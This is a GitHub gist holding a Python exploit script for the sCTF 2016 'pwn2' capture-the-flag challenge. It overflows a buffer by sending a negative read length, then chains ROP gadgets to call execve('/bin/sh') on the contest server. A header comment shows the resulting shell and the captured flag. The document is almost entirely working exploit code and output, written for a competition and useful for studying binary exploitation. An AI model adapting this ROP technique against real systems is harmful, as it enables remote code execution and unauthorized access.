Skip to content

Instantly share code, notes, and snippets.

@hugsy
Last active October 3, 2016 14:36
Show Gist options
  • Save hugsy/5702334615d402fc006d7b199e532bd5 to your computer and use it in GitHub Desktop.
Save hugsy/5702334615d402fc006d7b199e532bd5 to your computer and use it in GitHub Desktop.
sCTF 2016 - pwn2
#!/usr/bin/env python
#
#
# hugsy:~/downloads/_pwn2 $ ./gef-exploit.py (13:23)
# [+] Connected to problems2.2016q1.sctf.io:1338
# Attach with GDB and hit Enter
# [+] Crafting payload
# [+] Sent 256 bytes
# [+] Got it, interacting (Ctrl-C to break)
# [+] Get a PTY with ' python -c "import pty;pty.spawn('/bin/bash')" '
# python -c "import pty;pty.spawn('/bin/bash')"
# bash: /home/pwn2/.bashrc: Permission denied
# pwn2@sCTF-2016-Q1-ProblemServer2:/home/pwn2$ ls
# flag.txt pwn2
# pwn2@sCTF-2016-Q1-ProblemServer2:/home/pwn2$ cat flag.txt
# sctf{r0p_70_th3_f1n1sh}
# pwn2@sCTF-2016-Q1-ProblemServer2:/home/pwn2$
#
#
import socket, struct, sys, telnetlib, binascii
HOST = "problems2.2016q1.sctf.io"
# HOST = "localhost"
PORT = 1338
def hexdump(src, length=0x10):
f=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) ; n=0 ; result=''
while src:
s,src = src[:length],src[length:]; hexa = ' '.join(["%02X"%ord(x) for x in s])
s = s.translate(f) ; result += "%04X %-*s %s\n" % (n, length*3, hexa, s); n+=length
return result
def xor(data, key): return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(data, itertools.cycle(key)))
def h_p(i,signed=False): return struct.pack("<H", i) if not signed else struct.pack("<h", i)
def h_u(i,signed=False): return struct.unpack("<H", i)[0] if not signed else struct.unpack("<h", i)[0]
def i_p(i,signed=False): return struct.pack("<I", i) if not signed else struct.pack("<i", i)
def i_u(i,signed=False): return struct.unpack("<I", i)[0] if not signed else struct.unpack("<i", i)[0]
def q_p(i,signed=False): return struct.pack("<Q", i) if not signed else struct.pack("<q", i)
def q_u(i,signed=False): return struct.unpack("<Q", i)[0] if not signed else struct.unpack("<q", i)[0]
def _xlog(x):
sys.stderr.write(x + "\n")
sys.stderr.flush()
return
def err(msg): _xlog("[!] %s" % msg)
def ok(msg): _xlog("[+] %s" % msg)
def dbg(msg): _xlog("[*] %s" % msg)
def xd(msg): _xlog("[*] Hexdump:\n%s" % hexdump(msg))
def build_socket(host, port):
s = telnetlib.Telnet(HOST, PORT)
ok("Connected to %s:%d" % (host, port))
return s
def interact(s):
try:
ok("""Get a PTY with ' python -c "import pty;pty.spawn('/bin/bash')" '""")
s.interact()
except KeyboardInterrupt:
ok("Leaving")
except Exception as e:
err("Unexpected exception: %s" % e)
return
def syscall():
syscall = 0x080484d0
return i_p(syscall)
def set_eax(n):
m = ""
# 0x08048454 : sar eax, 1 ; jne 0x804845d ; ret
sar_eax = 0x08048454
# 0x080484d3 : inc eax ; ret
inc_eax = 0x080484d3
m+= i_p(sar_eax)*32
m+= i_p(inc_eax)*n
return m
def set_ebx(n):
m = ""
# 0x0804835d : pop ebx ; ret
pop_ebx = 0x0804835d
# 0x080484d5 : inc ebx ; ret
inc_ebx = 0x080484d5
# 0x0804864c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
if n < 256:
m+= i_p(0x0804864c)
m+= h_p(-1, True)
m+= i_p(inc_ebx)*(n+1)
return m
m+= i_p(pop_ebx)
m+= i_p(n)
return m
def set_ecx_bss():
# 0x804a044 is in bss (rw)
# 0x08048495 : add eax, 0x804a044 ; add ecx, ecx ; ret
# 0x0804835b : les ecx, ptr [eax] ; pop ebx ; ret
add_eax_writable = 0x08048495
les_ecx = 0x0804835b
m = ""
m+= set_eax(0)
m+= i_p(add_eax_writable)
m+= i_p(les_ecx)
m+= "B"*4 # because of the 'pop ebx'
return m
def set_edx(n):
m = ""
pop_ebp = 0x0804864F
add_eax_writable = 0x08048495
# 0x08048525 : mov edx, dword ptr [ebp + 8] ; add eax, edx ; mov byte ptr [eax], 0 ; leave ; ret
mov_edx_ebp = 0x08048525
# 0x080484d9 : inc edx ; ret
inc_edx = 0x080484d9
m+= set_eax(0)
m+= i_p(add_eax_writable) # .bss
m+= i_p(pop_ebp)
m+= i_p(0x804a044) # edx = [ebp + 8]
m+= i_p(mov_edx_ebp) # edx = 0
m+= i_p(inc_edx)*n
return m
def pwn(s):
s.read_until("How many bytes do you want me to read? ")
s.write("-1\n")
s.read_until("!\n")
ok("Crafting payload")
call_get_n = 0x080484E3
NR_sys_read = 3
NR_sys_execve = 11
sh = "/bin/sh\x00"
p = "A"*48
#
# we use get_n() to write in .bss
# we want .bss like this:
# 0x804a044 = 0 << this is because we use a gadget that will set ecx to 0 thx to this
# 0x804a04c = /bin/sh (0x804a04c)
#
p+= i_p(call_get_n)
p+= set_ebx(0x804a04c)
# sys_execve(/bin/sh, NULL, NULL)
p+= set_ebx(0x804a04c) # /bin/sh
p+= set_eax(NR_sys_execve)
p+= syscall()
s.write(p + '\n')
ok("Sent %d bytes" % len(p))
# Discard 'You said:...'
s.read_until('\n')
s.write(sh)
return True
if __name__ == "__main__":
s = build_socket(HOST, PORT)
# raw_input("Attach with GDB and hit Enter ")
if pwn(s):
ok("Got it, interacting (Ctrl-C to break)")
interact(s)
ret = 0
else:
err("Failed to exploit")
ret = 1
s.close()
exit(ret)
# auto-generated by gef
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment